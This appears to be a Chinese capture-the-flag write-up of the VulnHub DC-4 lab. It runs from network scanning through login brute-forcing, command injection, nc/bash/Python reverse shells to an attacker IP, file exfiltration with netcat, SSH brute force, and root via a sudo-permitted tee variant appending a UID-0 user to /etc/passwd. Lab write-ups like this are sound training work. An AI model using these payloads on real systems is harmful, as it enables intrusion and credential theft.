
1. 项目概述一次完整的渗透测试实战复盘最近在VulnHub上找靶场练手DC-4这个靶机挺有意思它不像一些入门靶场那样把漏洞直接摆在你面前而是需要你像真正的渗透测试一样一步步去摸索。从最开始的端口扫描、信息收集到中间遇到一个看似简单的登录框再到最后的权限提升整个过程环环相扣非常考验综合能力。我花了大概一个下午的时间把它打通期间也踩了几个坑比如在爆破字典的选择和teehee提权的细节处理上。这篇文章就是我的完整通关记录我会把每一步的操作、背后的思路、用到的命令都详细写下来尤其是那个利用teehee进行特权文件写入的提权方法我觉得很有代表性。无论你是刚开始接触Web安全的新手还是想巩固一下渗透流程的老手这篇记录应该都能给你一些直接的参考。2. 环境准备与信息收集渗透测试的第一步永远是信息收集就像打仗前的侦察。目标越清晰后续的攻击路径就越明确。DC-4靶机通常以虚拟机形式运行我们需要先找到它在网络中的位置。2.1 靶机定位与网络发现我的测试环境是VMwareKali Linux作为攻击机DC-4靶机设置为NAT模式。首先得确定靶机的IP地址。最直接的方法就是扫描整个网段。# 使用nmap进行存活主机扫描排除已知的Kali本机IP和网关 nmap -sn 192.168.233.0/24 --exclude 192.168.233.1,192.168.233.128这里有几个关键点-sn这是Ping扫描只探测主机是否在线不扫描端口速度快。192.168.233.0/24这是我的虚拟网络网段你需要根据你的VMware或VirtualBox的虚拟网络配置来修改。--exclude排除已知IP。192.168.233.1通常是网关192.168.233.128是我的Kali攻击机IP。排除它们可以避免不必要的干扰和误判。扫描完成后通常会看到除了攻击机和网关外多出来一个IP地址比如192.168.233.143。这个大概率就是我们的DC-4靶机。为了进一步确认可以对比MAC地址的前缀VMware虚拟机的MAC通常以00:0c:29、00:50:56开头但这步在简单环境里不是必须的。注意在实际的授权测试中你需要明确知道目标IP段。在CTF或靶场环境中这种扫描是标准操作。但在未经授权的真实网络中进行扫描是违法的。2.2 端口与服务深度探测拿到IP假设是192.168.233.143后下一步就是搞清楚它开放了哪些门端口以及门上挂着什么牌子服务及版本。# 对目标IP进行全端口扫描并探测服务版本和运行默认脚本 nmap -sV -sC -O -p- 192.168.233.143这条命令信息量很大-sV版本探测。它会尝试连接开放的端口并分析响应信息来确定服务的具体版本比如是Apache 2.4.38还是Nginx 1.18.0。知道版本号对于寻找对应的漏洞至关重要。-sC使用Nmap自带的默认脚本进行扫描。这些脚本能进行更深入的探测比如检查HTTP服务的robots.txt、常见目录或者识别SSH服务的密钥类型等有时能直接发现一些低悬果实。-O操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标运行的操作系统如Linux内核版本。这有助于后续选择匹配的漏洞利用代码或提权方法。-p-扫描所有65535个端口。默认的nmap只扫描最常见的1000个端口但很多服务可能开在高端口上这个参数确保全覆盖。扫描DC-4的结果通常非常干净只开放了80端口HTTP服务和22端口SSH服务。这是一个很典型的配置Web应用是主要的攻击入口SSH则可能是后续维持访问或提权的通道。2.3 Web应用初步侦察既然有80端口我们自然要从浏览器访问http://192.168.233.143开始。访问后你会发现首页空空如也就是一个默认页面没有明显的链接或表单。这时候就需要进行目录爆破寻找隐藏的路径或文件。我习惯使用gobuster它速度快字典丰富。# 使用gobuster进行目录和文件爆破 gobuster dir -u http://192.168.233.143 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir指定模式为目录爆破。-u指定目标URL。-w指定字典文件。common.txt是一个常用的目录和文件名字典。-x指定要尝试的扩展名。这里添加了php,html,txt因为目标可能是这些类型的文件。跑完gobuster你可能会发现一些常见的目录如/admin、/login、/robots.txt等。但在DC-4这个特定靶场中更关键的是直接访问/login.php有时扫描器可能不会直接列出带参数的动态页面但根据经验这种简单的登录功能很可能就叫login.php。果然访问http://192.168.233.143/login.php一个登录界面出现了。信息收集阶段到此告一段落我们找到了明确的攻击面一个Web登录表单。3. 漏洞利用突破边界找到登录页面只是开始如何进去才是关键。默认凭证尝试admin/admin, admin/password等失败后暴力破解就成了最直接的思路。3.1 登录表单暴力破解面对一个登录框我们首先尝试弱口令无果。考虑到靶场的设计这很可能是一个需要爆破的点。我们使用Burp Suite这个神器。配置代理与抓包启动Burp Suite在Proxy - Options中确保代理监听正确通常是127.0.0.1:8080。将浏览器代理设置为相同配置然后在浏览器中访问登录页面随意输入用户名密码如test/test并点击登录。此时Burp的Proxy - Intercept标签页会截获这个HTTP请求。发送到Intruder在拦截的请求上右键选择“Send to Intruder”。切换到Intruder标签页的Positions子标签。Burp会自动标记一些参数我们清除所有标记然后只选中密码字段的值比如passwordtest中的test点击“Add”将其设为攻击变量。用户名字段我们假设是admin这也是一个常见的管理员用户名保持不动。选择攻击类型与载荷攻击类型Attack type选择“Sniper”狙击手模式它适用于单个变量的爆破。然后切换到Payloads子标签。Payload set: 保持为1。Payload type: 选择“Simple list”。在Payload Options里我们需要加载一个密码字典。Kali自带了很多字典比如/usr/share/wordlists/rockyou.txt解压后使用但这里我们先用一个小的常用密码字典试试水。你可以自己创建一个passwords.txt文件里面包含password,123456,admin,happy,letmein等。开始攻击与结果分析点击右上角的“Start attack”。Intruder会使用字典中的每个密码替换变量发起请求。我们需要观察哪个请求的响应与众不同。通常登录成功和失败的响应长度Length或状态码会不同。在攻击结果列表中按“Length”排序寻找长度明显不同的那条请求。在DC-4中你会发现密码happy对应的响应长度与其他不同这很可能就是正确的密码。实操心得爆破的成功率很大程度上取决于字典的质量。对于CTF靶场常用弱口令字典如rockyou.txt顶部的一些密码往往有效。但在更复杂的环境可能需要结合目标信息如公司名、产品名、社会工程学生成定制字典。同时要注意目标网站是否有防爆破机制如验证码、IP封锁、账号锁定如果有需要采用更慢速、更隐蔽的方式或者先寻找其他漏洞绕过。3.2 命令注入漏洞的发现与利用用admin/happy登录后页面会出现一个功能看起来像是一个简单的命令执行接口可能叫“Command”或类似的名字允许你执行一些预定义的命令如ls、pwd。这是非常危险的信号很可能存在命令注入。漏洞点探测在页面上尝试执行ls -la看看是否正常工作。然后尝试注入分隔符。例如如果输入框是让你输入一个目录参数尝试输入/tmp; whoami。如果返回结果中包含了whoami命令的输出即当前用户名那么命令注入就坐实了。在DC-4中这个漏洞点通常比较明显可能是一个表单提交后通过radio参数传递要执行的命令。使用Burp Suite精确测试为了更灵活地构造Payload最好用Burp Suite抓取执行命令的请求包。将请求发送到Repeater模块。假设请求参数是radiols-la我们可以修改它为radiols-la%3Bwhoami%3B是分号;的URL编码。发送请求如果响应中包含了whoami的结果证明注入成功。反弹Shell获得命令执行能力后下一步就是获取一个反向连接Shell这样我们就能在攻击机上获得一个交互式的命令行终端。最常用的方法是使用netcat (nc)。在攻击机Kali上开启监听nc -lvnp 4444-l监听-v详细信息-n不解析域名-p指定端口。在目标漏洞点执行反弹命令我们需要构造一个命令让目标机连接到我们的攻击机。常用的Payload是nc 192.168.233.128 4444 -e /bin/bash。但这里有两个问题1) 目标机上不一定有nc或者nc版本不支持-e参数2) 命令中可能包含特殊字符需要URL编码。检查nc版本与备选方案可以先执行which nc和nc -h看看。如果支持-e最好。如果不支持可以使用其他方式比如bash -i /dev/tcp/192.168.233.128/4444 01这是bash的特性。在Burp Repeater中将radio参数的值替换为编码后的命令。例如使用bash命令的编码radiobash-cbash-i%26/dev/tcp/192.168.233.128/44440%261注意这里的符号需要编码为%26。发送请求并接收Shell在Repeater中发送修改后的请求如果一切顺利Kali上的nc监听端就会接收到一个来自目标的Shell连接。4. 权限提升从普通用户到Root拿到一个反向Shell后我们通常处于一个低权限的Web服务用户如www-data下。目标是获取最高权限root。在Linux系统中提权方法五花八门核心思路是寻找配置错误、敏感信息或内核漏洞。4.1 初步信息收集与横向移动首先我们需要了解当前环境。# 查看当前用户和权限 id whoami # 查看系统基本信息 uname -a cat /etc/os-release # 寻找敏感文件或配置错误 sudo -l # 查看当前用户可以以sudo方式运行哪些命令这是提权的黄金命令 find / -type f -perm -4000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2/dev/null # 查找SGID文件在DC-4中sudo -l命令可能暂时用不了因为需要密码。我们得先进行横向移动获取其他用户的权限。查看/home目录发现存在多个用户目录如jim,charles等。尝试进入这些目录发现jim的目录可读里面可能存放着有用的信息比如备份文件、密码文件、配置文件等。4.2 利用备份文件获取SSH凭证在jim的目录下发现了一个backups文件夹或类似的东西里面有一个文件比如old-passwords.bak看起来像是一个旧的密码列表。这就是突破口。我们需要把这个文件传到攻击机上用于爆破SSH。从目标机传输文件到攻击机在攻击机上开启一个HTTP服务或Netcat监听来接收文件。方法一使用Python HTTP服务在攻击机Kali上python3 -m http.server 8000然后在目标Shell里用wget或curl下载wget http://192.168.233.128:8000/old-passwords.bak。但这里我们是反向操作需要目标机“推送”文件给我们。所以更常用下一个方法。方法二使用Netcat在攻击机Kali上nc -lvnp 4445 received_passwords.bak在目标Shell里执行nc 192.168.233.128 4445 /home/jim/backups/old-passwords.bak这样就把文件内容发送到了攻击机的received_passwords.bak文件中。爆破SSH服务现在我们有了一个针对用户jim的潜在密码字典。使用hydra进行SSH爆破。hydra -l jim -P ./received_passwords.bak ssh://192.168.233.143 -t 4 -V-l指定用户名。-P指定密码字典文件。ssh://指定协议和IP。-t指定任务并行数不宜过高避免被锁。-V显示详细尝试过程。 爆破成功后hydra会输出找到的密码例如jibril04。登录SSH并深入探索使用得到的凭证登录SSH获得一个更稳定的Shell。ssh jim192.168.233.143登录后再次运行sudo -l看看jim用户有什么特权。同时仔细检查jim的邮件/var/mail/jim或/var/spool/mail/jim、历史命令history、用户目录下的隐藏文件ls -la等。在DC-4中检查邮件可能会发现来自root或charles的邮件里面可能包含其他用户的密码。例如发现charles用户的密码是^xHhAhvim0y。4.3 利用sudoers配置与teehee提权切换到charles用户后再次执行sudo -l这次你会看到关键信息User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teehee这表示charles用户可以无需密码以root身份运行/usr/bin/teehee命令。teehee是一个非标准命令从名字看是tee的变种。查看其帮助teehee --help或man teehee。它的功能类似于tee即读取标准输入并写入文件和标准输出关键参数是-a表示追加append到文件而不是覆盖。提权思路既然能以root权限向任意文件追加内容那么最经典的方法就是修改/etc/passwd文件添加一个UID为0即root的用户。生成密码首先我们需要一个已知密码的加密字符串。使用openssl生成一个密码为password的加密密文openssl passwd -1 -salt abc password输出类似$1$abc$TkWoE0t6rC6qHUqjOcXQz0注意-salt参数是为了增加随机性这里简单用了abc实际可以更复杂。构造passwd条目/etc/passwd文件的格式是用户名:密码:UID:GID:描述:家目录:登录shell。我们要添加一行UID和GID都为0。evilroot:$1$abc$TkWoE0t6rC6qHUqjOcXQz0:0:0:::/bin/bash使用teehee追加echo evilroot:\$1\$abc\$TkWoE0t6rC6qHUqjOcXQz0:0:0:::/bin/bash | sudo teehee -a /etc/passwd关键细节这里在命令中$1$abc$...前面的$符号在bash中有特殊含义变量引用所以必须用反斜线\进行转义或者用单引号把整个字符串括起来。上面命令使用了转义。更稳妥的方式是echo evilroot:$1$abc$TkWoE0t6rC6qHUqjOcXQz0:0:0:::/bin/bash | sudo teehee -a /etc/passwd验证与切换命令执行成功后查看/etc/passwd文件末尾确认新行已添加。然后就可以切换到evilroot用户了su evilroot输入密码password即可获得root权限。执行id或whoami确认。避坑技巧如果执行sudo teehee时提示需要密码尽管配置了NOPASSWD一种可能是当前Shell环境问题。可以尝试退出当前SSH会话重新以charles用户登录再执行。另一种更可靠的方法是直接使用sudo /usr/bin/teehee -a /etc/passwd然后手动输入要追加的内容即上面那行字符串最后按CtrlD结束输入。这样能避免管道和echo可能带来的特殊字符处理问题。5. 常见问题与排查技巧实录在实际操作中很少有一帆风顺的。下面记录了几个我在打DC-4及类似靶场时遇到过的问题和解决方法希望能帮你少走弯路。5.1 信息收集阶段无果而终问题Nmap扫描结果只有22和80端口目录爆破也找不到login.php或其他入口。排查检查网络连通性确保攻击机和靶机在同一网段能互相ping通。防火墙是否阻止了扫描尝试其他扫描工具或参数用masscan快速扫全端口确认或者给nmap加上-Pn参数跳过主机发现把所有主机都当在线处理。手动猜测常见入口对于简单的靶场/login.php/admin.php/index.php/dashboard都是常见的入口点即使扫描器没扫出来也值得手动尝试。查看网页源代码访问IP显示的默认页右键查看源代码有时注释里会隐藏路径或提示。5.2 命令注入或反弹Shell失败问题构造的Payload在Burp中发送后没有收到反弹的Shell或者命令执行无回显。排查命令分隔符尝试不同的命令分隔符如;|||\n换行符的URL编码%0a。某些过滤可能只防了其中一种。空格绕过如果空格被过滤尝试用${IFS}%09tab等代替。反弹Shell命令兼容性确认目标系统上的nc是否支持-e。如果不支持优先使用bash -i的方式或者尝试其他语言如python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);。编码问题确保Payload进行了正确的URL编码。Burp的Decoder模块可以方便地进行编码解码。特别注意?空格;等字符。监听端问题检查攻击机防火墙是否放行了监听端口如4444。确认nc监听命令正确没有和其他服务端口冲突。5.3 提权过程受阻问题sudo teehee执行成功但添加的用户无法登录或者su切换时密码错误。排查密码加密算法/etc/passwd现代系统通常使用影子文件/etc/shadow存储加密密码passwd文件里放x。但我们直接修改passwd并设置加密串的方式在某些系统上仍然有效。确保使用openssl passwd -1生成的是MD5加密格式以$1$开头这是较通用的。也可以试试mkpasswd -m sha-512生成更安全的加密串但需要目标系统支持。格式错误仔细检查添加到/etc/passwd的那一行确保格式完全正确没有多余的空格字段分隔符是冒号:并且最后一个字段是shell路径如/bin/bash或/bin/sh。权限问题虽然teehee以root运行但写入/etc/passwd后该文件的属主和权限是否正确通常应该是root:root和644。可以用ls -l /etc/passwd检查。备用方案如果修改/etc/passwd不行可以尝试写入其他敏感文件。例如写入/etc/sudoers.d/evil文件内容为evilroot ALL(ALL:ALL) NOPASSWD:ALL这样evilroot用户就能无密码使用所有sudo命令。或者如果teehee有写权限可以直接覆盖/etc/shadow中root的密码哈希风险大需提前备份。5.4 靶场环境差异导致的命令不同问题参考的攻略中某些命令或路径在自己的环境中不存在如teehee命令找不到。排查命令路径使用which teehee或find / -name teehee 2/dev/null来查找命令的确切路径。攻略中的/usr/bin/teehee是常见路径但你的靶机可能安装在/usr/local/bin或其他位置。命令别名有些靶场为了增加趣味性会将系统命令改名比如teehee可能就是tee的别名或软链接。用alias命令查看别名用ls -l /usr/bin/teehee查看它是否是链接到tee。内核与系统差异不同Linux发行版Ubuntu, Debian, CentOS的命令和工具包可能有细微差别。遇到命令不存在时先尝试安装apt install或yum install但在提权前可能没有权限。这时需要寻找该发行版下等效的命令或方法。最后成功提权到root后寻找flag就是顺理成章的事情了。通常flag文件会放在/root目录下或者使用find / -name *flag* 2/dev/null或find / -type f -name flag.txt 2/dev/null命令在全盘搜索。找到并读取flag文件整个靶场的挑战就圆满完成了。整个流程走下来你会发现渗透测试是一个逻辑性很强的过程每一步的发现都为下一步铺路保持耐心和细致观察是关键。